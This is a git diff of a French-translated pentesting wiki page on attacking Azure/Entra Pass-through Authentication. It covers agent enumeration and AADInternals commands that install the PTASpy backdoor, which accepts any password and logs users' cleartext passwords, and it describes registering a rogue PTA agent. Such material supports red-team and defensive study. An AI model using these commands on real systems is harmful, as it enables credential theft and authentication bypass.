Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:21 +00:00
parent 5121124ee5
commit 20a25867ac

View File

@@ -1,12 +1,12 @@
# Az - PTA - Authentification Pass-through
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
## Informations de base
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification Pass-through d'Azure Active Directory (Azure AD) permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Azure AD, cette fonctionnalité **valide les mots de passe des utilisateurs directement contre votre Active Directory sur site**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) L'authentification par passage (PTA) de Microsoft Entra permet à vos utilisateurs de **se connecter à la fois aux applications sur site et basées sur le cloud en utilisant les mêmes mots de passe**. Cette fonctionnalité offre à vos utilisateurs une meilleure expérience - un mot de passe de moins à retenir, et réduit les coûts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Microsoft Entra ID, cette fonctionnalité valide les mots de passe des utilisateurs directement contre votre Active Directory sur site.
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe** **ne le sont pas** comme dans PHS.
Dans PTA, les **identités** sont **synchronisées** mais les **mots de passe ne le sont pas** comme dans PHS.
L'authentification est validée dans l'AD sur site et la communication avec le cloud est effectuée par un **agent d'authentification** fonctionnant sur un **serveur sur site** (il n'a pas besoin d'être sur le DC sur site).
@@ -16,39 +16,71 @@ L'authentification est validée dans l'AD sur site et la communication avec le c
1. Pour **se connecter**, l'utilisateur est redirigé vers **Azure AD**, où il envoie le **nom d'utilisateur** et le **mot de passe**
2. Les **identifiants** sont **chiffrés** et placés dans une **file d'attente** dans Azure AD
3. L'**agent d'authentification sur site** récupère les **identifiants** de la file d'attente et les **déchiffre**. Cet agent est appelé **"agent d'authentification Pass-through"** ou **agent PTA.**
3. L'**agent d'authentification sur site** récupère les **identifiants** de la file d'attente et les **déchiffre**. Cet agent est appelé **"agent d'authentification par passage"** ou **agent PTA.**
4. L'**agent** **valide** les identifiants contre l'**AD sur site** et envoie la **réponse** **de retour** à Azure AD qui, si la réponse est positive, **termine la connexion** de l'utilisateur.
> [!WARNING]
> Si un attaquant **compromet** le **PTA**, il peut **voir** tous les **identifiants** de la file d'attente (en **texte clair**).\
> Il peut également **valider n'importe quels identifiants** auprès d'AzureAD (attaque similaire à la clé skeleton).
### Sur site -> cloud
### Énumération
Si vous avez un accès **administrateur** au **serveur Azure AD Connect** avec l'**agent PTA** en cours d'exécution, vous pouvez utiliser le module **AADInternals** pour **insérer une porte dérobée** qui **validera TOUS les mots de passe** introduits (donc tous les mots de passe seront valides pour l'authentification) :
From Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Vérifiez si l'agent s'exécute sur le serveur sur site :
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Si vous avez un accès **admin** au **serveur Azure AD Connect** avec l'agent **PTA** en cours d'exécution, vous pouvez utiliser le module **AADInternals** pour **insérer une porte dérobée** qui **validera TOUS les mots de passe** introduits (donc tous les mots de passe seront valides pour l'authentification) :
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Si l'**installation échoue**, cela est probablement dû à l'absence de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
> Si l'**installation échoue**, cela est probablement dû à l'absence des [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Il est également possible de **voir les mots de passe en clair envoyés à l'agent PTA** en utilisant le cmdlet suivant sur la machine où le backdoor précédent a été installé :
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Cette porte dérobée va :
Ce backdoor va :
- Créer un dossier caché `C:\PTASpy`
- Copier un `PTASpy.dll` dans `C:\PTASpy`
- Injecter `PTASpy.dll` dans le processus `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Lorsque le service AzureADConnectAuthenticationAgent est redémarré, PTASpy est "déchargé" et doit être réinstallé.
### Cloud -> On-Prem
> Lorsque le service AzureADConnectAuthenticationAgent est redémarré, PTASpy est déchargé et doit être réinstallé.
> [!CAUTION]
> Après avoir obtenu des **privileges GA** sur le cloud, il est possible de **enregistrer un nouvel agent PTA** en le configurant sur une **machine contrôlée par l'attaquant**. Une fois l'agent **configuré**, nous pouvons **répéter** les **étapes précédentes** pour **s'authentifier en utilisant n'importe quel mot de passe** et également, **obtenir les mots de passe en texte clair.**
> Après avoir obtenu des **privileges GA** sur le cloud, il est possible de **enregistrer un nouvel agent PTA** et de **répéter** les **étapes précédentes** pour **s'authentifier en utilisant n'importe quel mot de passe** et également, **obtenir les mots de passe en clair.**
### Seamless SSO